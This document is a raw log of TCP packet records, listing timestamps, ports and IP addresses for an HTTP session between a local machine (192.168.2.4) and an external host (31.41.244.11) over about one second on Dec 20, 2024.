Dec 20, 2024 07:12:29.208296061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.208323002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.208359003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.209338903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.209462881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.209522963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.210540056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.210688114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.210747004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.211740017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.211796999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.211853027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.212908983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.213006973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.213011026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.213531017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.214113951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.214246988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.214303017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.215267897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.215396881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.215451956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.216463089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.216517925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.216582060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.217531919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.217649937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.217705011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.217757940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.217809916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.218856096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.218916893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.218957901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.219008923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.220000982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.220057964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.220113993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.220165014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.221196890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.221271992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.221293926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.221344948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.222377062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.222496033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.222548962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.223555088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.223685026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.223740101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.224940062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.225001097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.225059986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.225528955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.225951910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.226007938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.226069927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.226121902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.227097034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.227152109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.354592085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.354660988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.354759932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.354979038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.355247974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.355319023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.355351925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.355413914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.356463909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.356518030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.356575966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.357594967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.357753992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.357815027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.358798981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.358858109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.358923912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.359970093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.360029936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.360090017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.361143112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.361205101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.365279913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.365498066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.365533113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.365572929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.365863085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.365920067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.365998983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.366055965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.367114067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.367171049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.367189884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.367242098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.368248940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.368308067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.368374109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.368432999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.369437933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.369553089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.369556904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.369626045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.370641947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.370784044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.370847940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.371802092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.371937037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.372003078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.372993946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.373054981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.373130083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.373533010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.374250889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.374288082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.374305964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.374336958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.375380039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.375436068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.375497103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.375551939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.376559973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.376614094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.376614094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.376662016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.377888918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.378065109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.378118992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.379019022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.379072905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.379126072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.380095959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.380153894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.380213022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.381304026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.381359100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.381439924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.381531000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.382519007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.382572889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.382688046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.382742882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.383687019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.383740902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.383742094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.383795023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.384854078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.385004997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.385062933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.386014938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.386126995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.386198044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.387239933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.387299061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.387398005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.388406038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.388442039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.388458014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.388490915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.389684916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.389770985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.389827967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.390774965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.390871048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.390940905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.391988993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.392047882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.392116070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.393126011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.393177986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.393240929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.393532991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.394329071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.394448996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.394504070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.395514011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.395589113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.395646095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.396727085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.396783113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.396996975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.397531986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.397862911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.397916079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.397969007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.398024082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.399151087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.399187088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.399241924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.400264025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.400331020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.400388002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.401444912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.401498079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.401560068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.402600050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.402652979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.402728081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.403809071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.403870106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.403914928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.403968096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.404999971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.405132055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.405181885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.406162024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.406279087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.406333923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.407382965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.407437086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.407506943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.408543110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.408601999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.408647060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.409533024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.409719944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.409951925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.410005093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.410942078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.411020994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.411081076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.412134886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.412193060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.412239075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.413310051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.413367033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.413460016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.413531065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.414442062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.414604902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.414663076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.415630102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.415766001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.415818930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.416831017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.416894913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.417119026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.417531013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.418035984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.418200970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.418253899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.419172049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.421421051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.546631098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.546715021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.546720982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.547007084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.547223091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.547303915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.547370911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.547476053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.548381090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.548460960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.548549891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.548624992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.549581051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.549638033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.549716949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.549817085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.550750971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.550844908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.550857067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.550920963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.551927090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.551999092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.552076101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.552336931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.553113937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.553210020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.553245068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.553291082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.557396889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.557471991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.557538033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.557595015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.557981014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.558056116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.558216095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.558290005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.559149981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.559223890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.559281111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.559334993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.560416937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.560451984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.560497046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.560497046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.561553001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.561650038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.561765909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.562736034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.562844038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.562932968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.563000917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.563942909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.564063072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.564158916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.564291954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.565095901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.565162897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.565200090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.565257072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.566293001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.566344023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.566384077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.566405058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.567521095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.567630053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.567759991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.568636894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.568698883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.568779945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.568912029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.569818974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.569953918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.569982052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.570071936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.571002960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.571134090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.571171045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.571239948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.572170019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.572316885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.572375059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.573371887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.573437929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.573508024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.573606968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.574565887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.574623108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.574676991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.575016975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.575748920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.575804949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.575864077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.575965881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.576940060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.576994896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.577054977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.577358961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.578114986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.578171968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.578233004 CET	80	49801	31.41.244.11	192.168.2.4
